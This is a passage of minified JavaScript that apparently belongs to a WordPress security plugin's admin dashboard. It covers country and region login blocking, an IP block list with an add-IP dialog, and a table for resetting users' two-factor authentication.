console.log(e),{success:!1,message:"Error occurred",error:e}}finally{e({processing:!1})}},resetRegions:async(t,a)=>{e({processing:!0});try{const e=await f.Eo("delete_entries_regions",{value:t});return e&&e.success?(await l().fetchData("rsssl_limit_login_country",a),{success:!0,message:e.message,response:e}):{success:!1,message:e?.message||"Failed to reset region",response:e}}catch(e){return console.error(e),{success:!1,message:"Error occurred",error:e}}finally{e({processing:!1})}},resetRow:async(t,a)=>{e({processing:!0});try{const e=await f.Eo("delete_entries",{id:t});return e&&e.success?(await l().fetchData("rsssl_limit_login_country",a),{success:!0,message:e.message,response:e}):{success:!1,message:e?.message||"Failed to reset country",response:e}}catch(e){return console.error(e),{success:!1,message:"Error occurred",error:e}}finally{e({processing:!1})}},resetMultiRow:async(t,a)=>{e({processing:!0});try{const e=await f.Eo("delete_entries",{ids:t});return e&&e.success?(await l().fetchData("rsssl_limit_login_country",a),{success:!0,message:e.message,response:e}):{success:!1,message:e?.message||"Failed to reset country",response:e}}catch(e){return console.error(e),{success:!1,message:"Error occurred",error:e}}finally{e({processing:!1})}}}))),vs=e=>{const{fieldAlreadyEnabled:l,getFieldValue:t,getField:a,showSavedSettingsNotice:n,saveFields:i,setHighLightField:r}=(0,m.A)(),{CountryDataTable:d,dataLoaded:o,fetchData:h,processing:v,handleCountryTableFilter:u,updateRow:_,pagination:f,handleCountryTablePageChange:g,handleCountryTableRowsChange:Z,handleCountryTableSort:y,handleCountryTableSearch:w,addRegion:k,resetRegions:R,addRowMultiple:M,resetRow:F,resetMultiRow:b,updateRowRegion:C,dataActions:H,rowCleared:V,setDataActions:S}=hs(),{setSelectedSubMenuItem:A}=(0,E.A)(),{fetchDynamicData:U}=$(),{setSelectedFilter:x,getCurrentFilter:T,setProcessingFilter:D}=(0,Q.A)(),[L,N]=(0,p.useState)([]),O="rsssl-group-filter-limit_login_attempts_country",[B,z]=(0,p.useState)(600);(0,p.useEffect)((()=>{const e=document.getElementById("set_to_captcha_configuration"),l=async l=>{l.preventDefault(),e&&await P(e)};return e&&e.addEventListener("click",l),()=>{e&&e.removeEventListener("click",l)}}),[]);const P=async e=>{let l={...a("enabled_captcha_provider"),highlight_field_id:"enabled_captcha_provider"};r(l.highlight_field_id);let t=a(l.highlight_field_id);await A(t.menu_id)},I=(0,p.useCallback)((e=>({omit:"regions"===T(O)&&"status"===e.column,name:e.name,sortable:e.sortable,searchable:e.searchable,width:e.width,visible:e.visible,column:e.column,selector:l=>l[e.column]})),[]);let G=e.field;const K=G.columns.map(I),j=K.filter((e=>e.searchable)).map((e=>e.column));(0,p.useEffect)((()=>{const e=T(O);e||x("blocked",O),D(v),u("status",e)}),[O,u,T(O),x,vs,v]),(0,p.useEffect)((()=>{if("status"===H.filterColumn){const{search:e,searchColumns:l,...t}=H;S(t)}}),[H.filterColumn]),(0,p.useEffect)((()=>{N([])}),[d]),(0,p.useEffect)((()=>{H&&h(G.action,H)}),[H.sortDirection,H.filterValue,H.search,H.page,H.currentRowsPerPage,l("enable_limited_login_attempts")]);let q=t("enable_limited_login_attempts");(0,p.useEffect)((()=>()=>{i(!1,!1)}),[q]),(0,W.createTheme)("really-simple-plugins",{divider:{default:"transparent"}},"light");const Y=(0,p.useCallback)((e=>{N(e.selectedRows)}),[]),J=(0,p.useCallback)((async(e,l="")=>{if(Array.isArray(e)){e.map((e=>e.id));const l=e.map((e=>e.iso2_code));let t=!0;l.forEach((e=>{R(e,H).then((e=>{e.success||(n(e.message,"error"),t=!1)}))})),t&&n((0,c.__)("Selected regions are now allowed","really-simple-ssl")),N([])}else await R(e,H),n((0,c.__)("%s is now allowed","really-simple-ssl").replace("%s",l));await U("event_log")}),[R,T(O),H]),X=(0,p.useCallback)((e=>{const l=e.map((e=>e.id));b(l,H).then((e=>{e&&e.success?n(e.message):n(e.message,"error")}))}),[b,T(O),H]),ee=(0,p.useCallback)((e=>{F(e,H).then((e=>{e.success&&n(e.message)}))}),[F,T(O),H]),le=(0,p.useCallback)((async(e,l="")=>{if(Array.isArray(e)){e.map((e=>e.id));const l=e.map((e=>e.iso2_code));await C(l,"blocked",H).then((e=>{e.success?n(e.message):n(e.message,"error")}))}else C(e,"blocked",H).then((e=>{e.success?n(e.message):n(e.message,"error")}));await U("event_log")}),[k,T(O),H]),te=(0,p.useCallback)((async e=>{if(Array.isArray(e)){const l=e.map((e=>e.iso2_code));await _(l,"blocked",H).then((e=>{e.success?n(e.message):n(e.message,"error")})),N([])}else await _(e,"blocked",H).then((e=>{e.success?n(e.message):n(e.message,"error")}));await U("event_log")}),[_,M,H,T(O)]),ae={...d.data},se=(0,p.useCallback)(((e,l)=>(0,s.createElement)(s.Fragment,null,(0,s.createElement)(za,{countryCode:e,style:{fontSize:"2em"},title:l,continent:"regions"===T(O)}))),[]),ne=({onClick:e,children:l,className:t})=>(0,s.createElement)("button",{className:`button ${t} rsssl-action-buttons__button`,onClick:e,disabled:v},l),ie=(0,p.useCallback)(((e,l,t,a)=>(0,s.createElement)("div",{className:"rsssl-action-buttons"},"blocked"===T(O)&&(0,s.createElement)(ne,{onClick:()=>ee(e),className:"button-secondary"},(0,c.__)("Allow","really-simple-ssl")),"regions"===T(O)&&(0,s.createElement)(s.Fragment,null,(0,s.createElement)(ne,{onClick:()=>le(e,t),className:"button-primary"},(0,c.__)("Block","really-simple-ssl")),(0,s.createElement)(ne,{onClick:()=>J(e,t),className:"button-secondary"},(0,c.__)("Allow","really-simple-ssl"))),"countries"===T(O)&&(0,s.createElement)(s.Fragment,null,"blocked"===l?(0,s.createElement)(ne,{onClick:()=>ee(a),className:"button-secondary"},(0,c.__)("Allow","really-simple-ssl")):(0,s.createElement)(ne,{onClick:()=>te(e),className:"button-primary"},(0,c.__)("Block","really-simple-ssl"))))),[T,O,ee,le,J,te]);for(const e in ae){const l={...ae[e]};"regions"===T(O)||"countries"===T(O)?l.action=ie(l.attempt_value,l.status,l.region,l.db_id):l.action=ie(l.id),l.attempt_value=se(l.attempt_value,l.country_name),l.status=(0,c.__)(l.status=l.status.charAt(0).toUpperCase()+l.status.slice(1),"really-simple-ssl"),ae[e]=l}let ce;return Object.entries(e.field.options).map((([e,l])=>({value:e,label:l}))),ce=void 0!==f,(0,p.useEffect)((()=>{0===Object.keys(ae).length?z(100):z(50*(ce?f.perPage+2:12))}),[ce,f?.perPage,ae]),(0,s.createElement)(s.Fragment,null,(0,s.createElement)("div",{className:"rsssl-container"},(0,s.createElement)("div",null),(0,s.createElement)(Ga,{handleSearch:w,searchableColumns:j})),L.length>0&&(0,s.createElement)("div",{style:{marginTop:"1em",marginBottom:"1em"}},(0,s.createElement)("div",{className:"rsssl-multiselect-datatable-form rsssl-primary"},(0,s.createElement)("div",null,(0,c.__)("You have selected %s rows","really-simple-ssl").replace("%s",L.length)),(0,s.createElement)("div",{className:"rsssl-action-buttons"},"countries"===T(O)&&(0,s.createElement)(s.Fragment,null,(0,s.createElement)(ne,{onClick:()=>te(L),className:"button-primary"},(0,c.__)("Block","really-simple-ssl"))),"blocked"===T(O)&&(0,s.createElement)(ne,{onClick:()=>X(L)},(0,c.__)("Allow","really-simple-ssl")),"regions"===T(O)&&(0,s.createElement)(s.Fragment,null,(0,s.createElement)(ne,{onClick:()=>le(L),className:"button-primary"},(0,c.__)("Block","really-simple-ssl")),(0,s.createElement)(ne,{onClick:()=>J(L),className:"button-secondary"},(0,c.__)("Allow","really-simple-ssl")))))),(0,s.createElement)(W.default,{columns:K,data:Object.values(ae),dense:!0,pagination:!v,paginationServer:!0,paginationTotalRows:ce?f.totalRows:10,paginationPerPage:ce?f.perPage:10,paginationDefaultPage:ce?f.currentPage:1,paginationComponentOptions:{rowsPerPageText:(0,c.__)("Rows per page:","really-simple-ssl"),rangeSeparatorText:(0,c.__)("of","really-simple-ssl"),noRowsPerPage:!1,selectAllRowsItem:!1,selectAllRowsItemText:(0,c.__)("All","really-simple-ssl")},onChangeRowsPerPage:Z,onChangePage:g,sortServer:!v,onSort:y,paginationRowsPerPageOptions:[10,25,50,100],noDataComponent:(0,c.__)("No results","really-simple-ssl"),persistTableHead:!0,selectableRows:!v,clearSelectedRows:V,onSelectedRowsChange:Y,theme:"really-simple-plugins",customStyles:{headCells:{style:{paddingLeft:"0",paddingRight:"0"}},cells:{style:{paddingLeft:"0",paddingRight:"0"}}}}),!q&&(0,s.createElement)("div",{className:"rsssl-locked"},(0,s.createElement)("div",{className:"rsssl-locked-overlay"},(0,s.createElement)("span",{className:"rsssl-task-status rsssl-open"},(0,c.__)("Disabled","really-simple-ssl")),(0,s.createElement)("span",null,(0,c.__)("Activate Limit login attempts to enable this block.","really-simple-ssl")))))},us=vs,_s=(0,U.vt)(((e,l)=>({processing:!1,processing_block:!1,dataLoaded:!1,dataLoaded_block:!1,pagination:{},dataActions:{},WhiteListTable:[],BlockListData:[],rowCleared:!1,maskError:!1,ipAddress:"",note:"",fetchWhiteListData:async l=>{e({processing:!0}),e({dataLoaded:!1}),e({rowCleared:!0});try{const t=await f.Eo(l);t&&t.request_success&&e({WhiteListTable:t,dataLoaded:!0,processing:!1,pagination:t.pagination}),e({rowCleared:!0})}catch(e){console.error(e)}finally{e({processing:!1}),e({rowCleared:!1})}},fetchData:async(l,t)=>{e({processing_block:!0}),e({rowCleared:!0});try{const a=await f.Eo(l,{filterValue:t});a&&a.request_success&&e({BlockListData:a,dataLoaded:!0,processing:!1,pagination:a.pagination}),e({rowCleared:!0})}catch(e){console.error(e)}finally{e({dataLoaded_block:!0}),e({processing_block:!1}),e({rowCleared:!1})}},resetRow:async(l,t)=>{e({processing:!0});let a={id:l};try{const e=await f.Eo("geo_block_reset_ip",a);return e&&e.request_success?{success:!0,message:e.message,response:e}:{success:!1,message:e?.message||"Failed to reset Ip",response:e}}catch(e){return console.error(e),{success:!1,message:"Error occurred",error:e}}finally{e({processing:!1})}},updateRow:async(t,a,s,n)=>{e({processing:!0});let i={ip_address:t,note:a,status:s};try{const e=await f.Eo("geo_block_add_white_list_ip",i);return e&&e.request_success?(await l().fetchWhiteListData("rsssl_geo_white_list"),{success:!0,message:e.message,response:e}):{success:!1,message:e?.message||"Failed to add Ip",response:e}}catch(e){return console.error(e),{success:!1,message:"Error occurred",error:e}}finally{e({processing:!1})}},removeRow:async(t,a)=>{e({processing:!0});let s={country_code:t};try{const e=await f.Eo("geo_block_remove_blocked_country",s);return e&&e.request_success?(await l().fetchCountryData("rsssl_geo_white_list"),await l().fetchData("rsssl_geo_block_list",{filterValue:"all"}),{success:!0,message:e.message,response:e}):{success:!1,message:e?.message||"Failed to remove country",response:e}}catch(e){return console.error(e),{success:!1,message:"Error occurred",error:e}}finally{e({processing:!1})}},setIpAddress:l=>{if(0===l.length)return;let t=/^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$|^(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,4}|((25[0-5]|(2[0-4]|1{0,1}[0-9])?[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9])?[0-9]))|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9])?[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9])?[0-9]))$/;if(l.includes("/")){let a="",[s,n]=l.split("/");s=s.replace(/,/g,"."),n.length<=0?(t.test(s)?e({maskError:!1}):e({maskError:!0}),a=`${s}/${n}`):a=n?`${s}/${n}`:s,e({ipAddress:a})}else t.test(l)?e({maskError:!1}):e({maskError:!0}),e({ipAddress:l.replace(/,/g,".")})},setNote:l=>{e({note:l})},resetRange:()=>{e({inputRangeValidated:!1}),e({highestIP:""}),e({lowestIP:""}),e({ipAddress:""}),e({maskError:!1})},setDataLoaded:l=>{e({dataLoaded:l}),e({dataLoaded_block:l})}}))),ps=({getCurrentFilter:e,moduleName:l,handleOpen:t,processing:a,blockedText:n,allowedText:i,disabled:c})=>(0,s.createElement)("div",{className:"rsssl-add-button"},(0,s.createElement)("div",{className:"rsssl-add-button__inner"},(0,s.createElement)("button",{className:"button button-secondary button-datatable rsssl-add-button__button",onClick:t,disabled:c},i,a&&(0,s.createElement)(H.default,{name:"loading",color:"grey"})))),fs=e=>{const{note:l,setNote:t,ipAddress:a,setIpAddress:n,maskError:r,setDataLoaded:d,dataLoaded:o,updateRow:h,resetRange:v}=_s(),[u,_]=(0,p.useState)(!1),{showSavedSettingsNotice:f}=(0,m.A)();return e.isOpen?(0,s.createElement)(i.Modal,{title:(0,c.__)("Add IP Address","really-simple-ssl"),shouldCloseOnClickOutside:!0,shouldCloseOnEsc:!0,overlayClassName:"rsssl-modal-overlay",className:"rsssl-modal",onRequestClose:e.onRequestClose},(0,s.createElement)("div",{className:"modal-content"},(0,s.createElement)("div",{className:"modal-body",style:{padding:"0.5em"}},(0,s.createElement)("div",{style:{width:"95%",height:"100%",padding:"10px"}},(0,s.createElement)("div",{style:{position:"relative"}},(0,s.createElement)("label",{htmlFor:"ip-address",className:"rsssl-label"},(0,c.__)("IP Address","really-simple-ssl")),(0,s.createElement)(i.TextControl,{id:"ip-address",name:"ip-address",onChange:e=>{e.length>0?n(e):v()},value:a}),(0,s.createElement)("div",{className:"rsssl-ip-verified"},Boolean(!r&&a.length>0)?(0,s.createElement)(H.default,{name:"circle-check",color:"green"}):(0,s.createElement)(H.default,{name:"circle-times",color:"red"}))),(0,s.createElement)("div",null,(0,s.createElement)("label",{htmlFor:"note",className:"rsssl-label"},(0,c.__)("Notes","really-simple-ssl")),(0,s.createElement)("input",{name:"note",id:"note",type:"text",value:l,onChange:e=>t(e.target.value),style:{width:"100%"}})))),(0,s.createElement)("div",{className:"modal-footer"},(0,s.createElement)("div",{className:"rsssl-grid-item-footer",style:{display:"flex",justifyContent:"flex-end",alignItems:"center",padding:"1em"}},(0,s.createElement)(i.Button,{isSecondary:!0,onClick:function(){_(!1),v(),e.onRequestClose()},style:{marginRight:"10px"}},(0,c.__)("Cancel","really-simple-ssl")),(0,s.createElement)(i.Button,{isPrimary:!0,onClick:async function(){a&&!1===r&&(await h(a,l,e.status,e.filter).then((e=>{e.success?(f(e.message),d(!1)):f(e.message,"error")})),v(),e.onRequestClose())}},(0,c.__)("Add","really-simple-ssl")))))):null},gs=e=>{const{BlockListData:l,WhiteListTable:a,setDataLoaded:n,dataLoaded:i,dataLoaded_block:r,fetchData:d,processing_block:o,ipAddress:h,pagination:v,resetRow:u,rowCleared:_}=_s(),{showSavedSettingsNotice:f,saveFields:g}=(0,m.A)(),[E,Z]=(0,p.useState)([]),[y,w]=(0,p.useState)(!1),[k,R]=(0,p.useState)(600),M="rsssl-group-filter-firewall_block_list_listing",{fields:F,fieldAlreadyEnabled:b,getFieldValue:C}=(0,m.A)(),[H,V]=(0,p.useState)(""),[S,A]=(0,p.useState)(1),[U,x]=(0,p.useState)(10),[T,D]=(0,p.useState)(null),[L,N]=(0,p.useState)(null);(0,p.useEffect)((()=>{Promise.resolve().then(t.bind(t,3757)).then((e=>{const{default:l,createTheme:t}=e;D((()=>l)),N((()=>t("really-simple-plugins",{divider:{default:"transparent"}},"light")))}))}),[]);const{getCurrentFilter:O}=(0,Q.A)(),[B,z]=(0,p.useState)(O(M)),P=(0,p.useCallback)((e=>({name:e.name,sortable:e.sortable,searchable:e.searchable,width:e.width,visible:e.visible,column:e.column,selector:l=>l[e.column]})),[B]);let I=e.field;const G=I.columns.map(P);G.filter((e=>e.searchable)).map((e=>e.column)),(0,p.useEffect)((()=>{Z([])}),[l]);let K=C("enable_firewall");(0,p.useEffect)((()=>{const e=O(M);z(void 0===e?"all":e),Z([])}),[O(M)]),(0,p.useEffect)((()=>()=>{g(!1,!1)}),[K]),(0,p.useEffect)((()=>{void 0!==B&&d(I.action,B)}),[B]),(0,p.useEffect)((()=>{r||d(I.action,B)}),[r]),(0,W.createTheme)("really-simple-plugins",{divider:{default:"transparent"}},"light");const j=(0,p.useCallback)((e=>{const{selectedCount:l,selectedRows:t,allSelected:a,allRowsSelected:s}=e;let n=[];a?(n=t.slice((S-1)*U,S*U),Z(n)):Z(t)}),[S,U]),q=(0,p.useCallback)((e=>{Array.isArray(e)?(e.map((e=>({id:e.id}))).forEach((e=>{u(e.id).then((e=>{f(e.message)}))})),Z([])):u(e).then((e=>{f(e.message)})),n(!1)}),[u]),Y={...l.data},J=(0,p.useCallback)(((e,l)=>(0,s.createElement)(s.Fragment,null,(0,s.createElement)(za,{countryCode:e,style:{fontSize:"2em"},title:l}))),[]),$=({onClick:e,children:l,className:t})=>(0,s.createElement)("button",{className:`button ${t} rsssl-action-buttons__button`,onClick:e,disabled:o},l),X=(0,p.useCallback)((e=>(0,s.createElement)("div",{className:"rsssl-action-buttons"},(0,s.createElement)($,{onClick:()=>q(e),className:"button-red"},(0,c.__)("Reset","really-simple-ssl")))),[M,q]);for(const e in Y){const l={...Y[e]};l.action=X(l.id),l.flag=J(l.iso2_code,l.country_name),l.status=(0,c.__)(l.status=l.status.charAt(0).toUpperCase()+l.status.slice(1),"really-simple-ssl"),Y[e]=l}let ee;return ee=void 0!==v,(0,p.useEffect)((()=>{0===Object.keys(Y).length?R(100):R(50*(ee?v.perPage+2:12))}),[ee,v?.perPage,Y]),(0,p.useEffect)((()=>{let e=[];Object.entries(Y).filter((([e,l])=>Object.values(l).some((e=>(null!=e?e:"").toString().toLowerCase().includes(H.toLowerCase()))))).map((([l,t])=>{const a={...t};if(a.action=X(a.id),a.flag=J(a.iso2_code,a.country_name),a.status=(0,c.__)(a.status=a.status.charAt(0).toUpperCase()+a.status.slice(1),"really-simple-ssl"),a.time_left>0){const l=setInterval((()=>{a.time_left--}),1e3);e.push(l)}return[l,a]})).reduce(((e,[l,t])=>({...e,[l]:t})),{})}),[H,Y]),(0,s.createElement)(s.Fragment,null,(0,s.createElement)(fs,{isOpen:y,onRequestClose:()=>{w(!1)},value:h,status:"blocked",filter:B||"all"}),(0,s.createElement)("div",{className:"rsssl-container"},(0,s.createElement)(ps,{moduleName:M,handleOpen:()=>{w(!0)},processing:o,allowedText:(0,c.__)("Block IP Address","really-simple-ssl")}),(0,s.createElement)("div",{className:"rsssl-search-bar"},(0,s.createElement)("div",{className:"rsssl-search-bar__inner"},(0,s.createElement)("div",{className:"rsssl-search-bar__icon"}),(0,s.createElement)("input",{type:"text",className:"rsssl-search-bar__input",placeholder:(0,c.__)("Search","really-simple-ssl"),onChange:e=>V(e.target.value)})))),E.length>0&&(0,s.createElement)("div",{style:{marginTop:"1em",marginBottom:"1em"}},(0,s.createElement)("div",{className:"rsssl-multiselect-datatable-form rsssl-primary"},(0,s.createElement)("div",null,(0,c.__)("You have selected %s rows","really-simple-ssl").replace("%s",E.length)),(0,s.createElement)("div",{className:"rsssl-action-buttons"},(0,s.createElement)(s.Fragment,null,(0,s.createElement)($,{onClick:()=>q(E),className:"button-red"},(0,c.__)("Reset","really-simple-ssl")))))),T&&(0,s.createElement)(T,{columns:G,data:Object.values(Y).filter((e=>Object.values(e).some((e=>(null!=e?e:"").toString().toLowerCase().includes(H.toLowerCase()))))),dense:!0,pagination:!0,paginationComponentOptions:{rowsPerPageText:(0,c.__)("Rows per page:","really-simple-ssl"),rangeSeparatorText:(0,c.__)("of","really-simple-ssl"),noRowsPerPage:!1,selectAllRowsItem:!1,selectAllRowsItemText:(0,c.__)("All","really-simple-ssl")},noDataComponent:(0,c.__)("No results","really-simple-ssl"),persistTableHead:!0,selectableRows:!0,clearSelectedRows:_,paginationPerPage:U,onChangePage:e=>{A(e)},onChangeRowsPerPage:e=>{x(e)},onSelectedRowsChange:j,theme:"really-simple-plugins",customStyles:{headCells:{style:{paddingLeft:"0",paddingRight:"0"}},cells:{style:{paddingLeft:"0",paddingRight:"0"}}}}),!K&&(0,s.createElement)("div",{className:"rsssl-locked"},(0,s.createElement)("div",{className:"rsssl-locked-overlay"},(0,s.createElement)("span",{className:"rsssl-task-status rsssl-open"},(0,c.__)("Disabled","really-simple-ssl")),(0,s.createElement)("span",null,(0,c.__)("Here you can add IP addresses that should never be blocked by region restrictions.","really-simple-ssl")))))},Es=(0,U.vt)(((e,l)=>({processing:!1,dataLoaded:!1,pagination:{},dataActions:{currentPage:1,currentRowsPerPage:5,filterValue:"all",filterColumn:"rsssl_two_fa_status"},totalRecords:0,DynamicDataTable:[],setDataLoaded:l=>e((e=>({...e,dataLoaded:l}))),resetUserMethod:async(t,a,s)=>{!l().processing&&a.includes(s)&&(e({processing:!0}),e({dataLoaded:!1}),await Xa()({path:`/wp/v2/users/${t}`,method:"POST",data:{meta:{rsssl_two_fa_status_email:"open",rsssl_two_fa_status_totp:"open"},_wpnonce:rsssl_settings.nonce}}).catch((e=>{console.error(e)})),e({processing:!1}),e({dataLoaded:!0}))},hardResetUser:async t=>{if(!l().processing){e({processing:!0});try{const l=await f.Eo("two_fa_reset_user",{id:t});if(l)return e((e=>({...e,processing:!1}))),l}catch(e){console.log(e)}}},fetchDynamicData:async()=>{if(!l().processing){e({processing:!0});try{const t=await f.Eo("two_fa_table",l().dataActions);if(t&&t.data)return e((e=>({...e,DynamicDataTable:t.data,dataLoaded:!0,processing:!1,pagination:t.pagination,totalRecords:t.totalRecords}))),t;e((e=>({...e,processing:!1,dataLoaded:!0})))}catch(e){console.log(e)}}},handleTableSearch:async(t,a)=>{const s=setTimeout((async()=>{e((0,q.jM)((e=>{e.dataActions={...e.dataActions,search:t,searchColumns:a}}))),await l().fetchDynamicData()}),500);return()=>{clearTimeout(s)}},handlePageChange:async(t,a)=>{e((0,q.jM)((e=>{e.dataActions={...e.dataActions,currentPage:t}}))),await l().fetchDynamicData()},handleRowsPerPageChange:async(t,a)=>{e((0,q.jM)((e=>{e.dataActions={...e.dataActions,currentRowsPerPage:t,currentPage:a}}))),await l().fetchDynamicData()},handleTableSort:async(t,a)=>{e((0,q.jM)((e=>{e.dataActions={...e.dataActions,sortColumn:t.column,sortDirection:a}}))),await l().fetchDynamicData()},handleUsersTableFilter:async(t,a)=>{e((0,q.jM)((e=>{e.dataActions={...e.dataActions,filterColumn:t,filterValue:a}}))),await l().fetchDynamicData()}}))),Zs=e=>{const{resetUserMethod:l,hardResetUser:t,handleUsersTableFilter:a,totalRecords:n,DynamicDataTable:i,setDataLoaded:r,dataLoaded:d,fetchDynamicData:o,handleTableSort:h,processing:v}=Es(),{setSelectedFilter:u,getCurrentFilter:_}=(0,Q.A)(),f="rsssl-group-filter-two_fa_users";let g=e.field;const[E,Z]=(0,p.useState)(!1),[y,w]=(0,p.useState)(!1),{fields:k,getFieldValue:R,changedFields:M}=(0,m.A)(),[F,b]=(0,p.useState)([]),[C,H]=(0,p.useState)(!1),[V,S]=(0,p.useState)([]),[A,U]=(0,p.useState)(1),[x,T]=(0,p.useState)(5);(0,p.useEffect)((()=>{d?S(i):o()}),[d,i]),(0,p.useEffect)((()=>{w(!0),r(!1)}),[R("two_fa_forced_roles"),R("two_fa_optional_roles"),R("two_fa_forced_roles_totp"),R("two_fa_optional_roles_totp")]),(0,p.useEffect)((()=>{y&&0===M.length&&(r(!1),w(!1))}),[y]),(0,p.useEffect)((()=>{if(d){const e=_(f);e||u("all",f),H(!0),a("rsssl_two_fa_status",e)}}),[_(f)]),(0,p.useEffect)((()=>{let e=R("two_fa_enabled_roles_email"),l=R("two_fa_enabled_roles_totp");e.concat(l),Z(R("login_protection_enabled"))}),[k]),(0,p.useEffect)((()=>{d&&E===(R("two_fa_enabled_email")||R("two_fa_enabled_totp"))||r(!1)}),[R("two_fa_enabled"),R("two_fa_enabled_totp")]);const D=e=>{let l=R("two_fa_forced_roles"),t=R("two_fa_forced_roles_totp");if(Array.isArray(l)||(l=[]),Array.isArray(t)||(t=[]),Array.isArray(e)){for(const a of e){if(void 0===a.user_role)return!0;if("none"===a.rsssl_two_fa_providers.toLowerCase())return!0;if("active"===a.status_for_user.toLowerCase()||"disabled"===a.status_for_user.toLowerCase()||"expired"===a.status_for_user.toLowerCase())return!1;if(!l.includes(a.user_role.toLowerCase())&&!t.includes(a.user_role.toLowerCase()))return!1}return!0}return void 0===e.user_role||"active"!==e.status_for_user.toLowerCase()&&"disabled"!==e.status_for_user.toLowerCase()&&"expired"!==e.status_for_user.toLowerCase()&&(l.includes(e.user_role.toLowerCase())||t.includes(e.user_role.toLowerCase()))},L=e=>{if(Array.isArray(e)){for(const l of e)if("open"!==l.status_for_user.toLowerCase())return!1;return!0}return"open"===e.status_for_user.toLowerCase()};let N=[];g.columns.forEach((function(e,l){var t;let a={...e,key:e.column};var s;a={name:(s=a).name,column:s.column,sortable:s.sortable,searchable:s.searchable,width:s.width,visible:s.visible,selector:e=>e[s.column]},a.visible=null===(t=a.visible)||void 0===t||t,N.push(a)}));let O=N.filter((e=>e.searchable)).map((e=>e.column));(0,W.createTheme)("really-simple-plugins",{divider:{default:"transparent"}},"light");const B=async e=>{let l=R("two_fa_forced_roles_email"),a=R("two_fa_forced_roles_totp");l=Array.isArray(l)?l:[l],a=Array.isArray(a)?a:[a];const s=l.concat(a);if(Array.isArray(e))for(const l of e)await t(l.id,s,l.user_role.toLowerCase());else await t(e.id,s,e.user_role.toLowerCase());r(!1),b([]),H(!0)},z=e=>"totp"===e?e.toUpperCase():e.charAt(0).toUpperCase()+e.slice(1);let P=D(F)||L(F);const I=(V||[]).slice((A-1)*x,A*x);let G=[];return I.forEach((e=>{let l={...e};l.user=z(e.user),l.user_role=z(e.user_role),l.status_for_user=(0,c.__)(z(e.status_for_user),"really-simple-ssl"),l.rsssl_two_fa_providers=(0,c.__)(z(e.rsssl_two_fa_providers),"really-simple-ssl");let t=D(e)||L(e);l.resetControl=(0,s.createElement)("button",{disabled:t,className:"button button-red rsssl-action-buttons__button",onClick:()=>B(e)},(0,c.__)("Reset","really-simple-ssl")),G.push(l)})),(0,s.createElement)(s.Fragment,null,(0,s.createElement)("div",{className:"rsssl-container",style:{marginTop:"20px"}},(0,s.createElement)("div",null),(0,s.createElement)("div",{className:"rsssl-search-bar"},(0,s.createElement)("div",{className:"rsssl-search-bar__inner"},(0,s.createElement)("div",{className:"rsssl-search-bar__icon"}),(0,s.createElement)("input",{type:"text",className:"rsssl-search-bar__input",placeholder:(0,c.__)("Search","really-simple-ssl"),onChange:e=>((e,l)=>{const t=e.toLowerCase(),a=l,s=i.filter((e=>a.some((l=>e[l].toString().toLowerCase().includes(t)))));S(s)})(e.target.value,O)})))),F.length>0&&(0,s.createElement)("div",{style:{marginTop:"1em",marginBottom:"1em"}},(0,s.createElement)("div",{className:"rsssl-multiselect-datatable-form rsssl-primary"},(0,s.createElement)("div",null,(0,c.__)("You have selected %s users","really-simple-ssl").replace("%s",F.length)),(0,s.createElement)("div",{className:"rsssl-action-buttons"},(0,s.createElement)("div",{className:"rsssl-action-buttons__inner"},(0,s.createElement)("button",{disabled:P||v,className:"button button-red rsssl-action-buttons__button",onClick:()=>B(F)},(0,c.__)("Reset","really-simple-ssl")))))),(0,s.createElement)(W.default,{columns:N,data:G,dense:!0,pagination:!0,paginationServer:!0,onChangePage:e=>{U(e)},onChangeRowsPerPage:e=>{T(e),U(1)},paginationTotalRows:V.length,paginationRowsPerPageOptions:[5,25,50,100],paginationPerPage:x,progressPending:v,progressComponent:(0,s.createElement)((()=>(0,s.createElement)("div",{className:"custom-loader"},(0,s.createElement)("div",{className:"dot"}),(0,s.createElement)("div",{className:"dot"}),(0,s.createElement)("div",{className:"dot"}))),null),onSort:h,noDataComponent:(0,c.__)("No results","really-simple-ssl"),persistTableHead:!0,selectableRows:!0,selectableRowsHighlight:!0,onSelectedRowsChange:e=>{b(e.selectedRows)},clearSelectedRows:C,theme:"really-simple-plugins",customStyles:{headCells:{style:{paddingLeft:"0",paddingRight:"0"}},cells:{style:{paddingLeft:"0",paddingRight:"0"}}}}),!E&&(0,s.createElement)("div",{className:"rsssl-locked"},(0,s.createElement)("div",{className:"rsssl-locked-overlay"},(0,s.createElement)("span",{className:"rsssl-task-status rsssl-open"},(0,c.__)("Disabled","really-simple-ssl")),(0,s.createElement)("span",null,(0,c.__)("Activate Two-Factor Authentication and one method to enable this block.","really-simple-ssl")))))},ys=e=>{const{DynamicDataTable:l,dataLoaded:t,pagination:a,dataActions:n,handleEventTableRowsChange:i,fetchDynamicData:r,handleEventTableSort:d,handleEventTablePageChange:o,handleEventTableSearch:h,handleEventTableFilter:v,processing:u,rowCleared:_}=$(),{selectedFilter:f,setSelectedFilter:g,activeGroupId:E,getCurrentFilter:Z,setProcessingFilter:y}=(0,Q.A)(),{fields:w,fieldAlreadyEnabled:k,getFieldValue:R}=(0,m.A)(),[M,F]=(0,p.useState)(600),b="rsssl-group-filter-"+e.field.id;let C=e.field;(0,p.useEffect)((()=>{const e=Z(b);e||g("all",b),y(u),v("severity",e)}),[b,v,Z(b),g,b,l,u]),(0,p.useEffect)((()=>{n&&r(C.action,C.event_type,n)}),[n.sortDirection,n.filterValue,n.search,n.page,n.currentRowsPerPage]);let V=[];C.columns.forEach((function(e,l){let 